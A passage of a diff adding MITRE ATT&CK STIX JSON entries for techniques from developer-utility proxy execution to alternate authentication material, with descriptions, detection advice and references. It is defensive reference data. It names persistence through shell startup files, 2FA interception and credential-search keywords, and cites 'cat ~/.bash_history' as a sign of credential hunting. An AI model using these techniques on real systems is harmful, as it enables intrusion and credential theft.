"attack-pattern", + "name": "Trusted Developer Utilities Proxy Execution", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-15T23:57:08.312Z", + "created": "2017-05-31T21:31:39.262Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "x_mitre_defense_bypassed": [ + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.", + "x_mitre_contributors": [ + "Casey Smith", + "Matthew Demaske, Adaptforward" + ], + "x_mitre_detection": "Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1127", + "external_id": "T1127", + "source_name": "mitre-attack" + }, + { + "source_name": "engima0x3 DNX Bypass", + "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/" + }, + { + "source_name": "engima0x3 RCSI Bypass", + "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.", + "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/" + }, + { + "source_name": "Exploit Monday WinDbg", + "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.", + "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html" + }, + { + "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/", + "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Tracker" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-03-08T10:33:01.045Z", + "name": "Trusted Relationship", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Logon Session: Logon Session Metadata", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "2.2", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1199", + "external_id": "T1199", + "source_name": "mitre-attack" + }, + { + "url": "https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers", + "description": "CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.", + "source_name": "CISA IT Service Providers" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-25T20:35:21.672Z", + "name": "Two-Factor Authentication Interception", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1111", + "external_id": "T1111", + "source_name": "mitre-attack" + }, + { + "source_name": "Mandiant M Trends 2011", + "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.", + "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf" + }, + { + "source_name": "GCN RSA June 2011", + "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.", + "url": "https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx" + }, + { + "source_name": "Operation Emmental", + "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf" + } + ], + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Driver: Driver Load", + "Process: OS API Execution" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes." + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_detection": "Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.", + "created": "2017-05-31T21:31:23.195Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-14T18:19:53.002Z", + "name": "Uncommonly Used Port", + "created": "2017-05-31T21:30:53.408Z", + "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1065", + "external_id": "T1065", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Unix Shell", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-07-26T22:34:43.261Z", + "created": "2020-03-09T14:15:05.330Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "id": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "x_mitre_platforms": [ + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "root" + ], + "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.", + "x_mitre_remote_support": true, + "x_mitre_detection": "Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1059/004", + "external_id": "T1059.004", + "source_name": "mitre-attack" + }, + { + "url": "https://linux.die.net/man/1/bash", + "description": "die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.", + "source_name": "DieNet Bash" + }, + { + "url": "https://support.apple.com/HT208050", + "description": "Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.", + "source_name": "Apple ZShell" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Unix Shell Configuration Modification", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Creation", + "File: File Modification" + ], + "x_mitre_version": "2.1", + "modified": "2021-08-20T18:01:52.120Z", + "created": "2020-01-24T14:13:45.936Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.", + "x_mitre_contributors": [ + "Robert Wilson", + "Tony Lambert, Red Canary" + ], + "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/004", + "external_id": "T1546.004", + "source_name": "mitre-attack" + }, + { + "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", + "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.", + "source_name": "intezer-kaiji-malware" + }, + { + "url": "https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/", + "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.", + "source_name": "bencane blog bashrc" + }, + { + "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect", + "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.", + "source_name": "anomali-rocke-tactics" + }, + { + "url": "https://wiki.archlinux.org/index.php/Bash#Invocation", + "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.", + "source_name": "Linux manual bash invocation" + }, + { + "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/", + "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.", + "source_name": "Tsunami" + }, + { + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat", + "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.", + "source_name": "anomali-linux-rabbit" + }, + { + "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html", + "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.", + "source_name": "Magento" + }, + { + "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/", + "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.", + "source_name": "ScriptingOSX zsh" + }, + { + "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5", + "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.", + "source_name": "PersistentJXA_leopitt" + }, + { + "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js", + "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.", + "source_name": "code_persistence_zsh" + }, + { + "url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a", + "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.", + "source_name": "macOS MS office sandbox escape" + }, + { + "url": "https://objective-see.com/blog/blog_0x48.html", + "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.", + "source_name": "ESF_filemonitor" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Unsecured Credentials", + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Access", + "Process: Process Creation", + "User Account: User Account Authentication", + "Windows Registry: Windows Registry Key Access" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-12T18:32:33.620Z", + "created": "2020-02-04T12:47:23.631Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1552", + "external_id": "T1552", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Unused/Unsupported Cloud Regions", + "x_mitre_data_sources": [ + "Instance: Instance Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-22T16:46:43.876Z", + "created": "2019-09-04T14:35:04.617Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)", + "x_mitre_contributors": [ + "Netskope" + ], + "x_mitre_detection": "Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1535", + "external_id": "T1535", + "source_name": "mitre-attack" + }, + { + "source_name": "CloudSploit - Unused AWS Regions", + "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", + "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Upload Malware", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:24:48.949Z", + "created": "2021-03-17T20:09:13.222Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", + "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", + "x_mitre_contributors": [ + "Kobi Haimovich, CardinalOps" + ], + "x_mitre_detection": "If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1608/001", + "external_id": "T1608.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.", + "source_name": "Volexity Ocean Lotus November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Upload Tool", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:25:37.072Z", + "created": "2021-03-17T20:31:07.828Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d", + "description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1608/002", + "external_id": "T1608.002", + "source_name": "mitre-attack" + }, + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Use Alternate Authentication Material", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Web Credential: Web Credential Usage", + "Application Log: Application Log Content", + "User Account: User Account Authentication", + "Active Directory: Active Directory Credential Request" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-17T14:15:31.630Z", + "created": "2020-01-30T16:18:36.873Z", + "x_mitre_defense_bypassed": [ + "System Access Controls" + ], + "x_mitre_platforms": [ + "Windows", + "Office 365", + "SaaS", + "Google Workspace", + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", + "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": 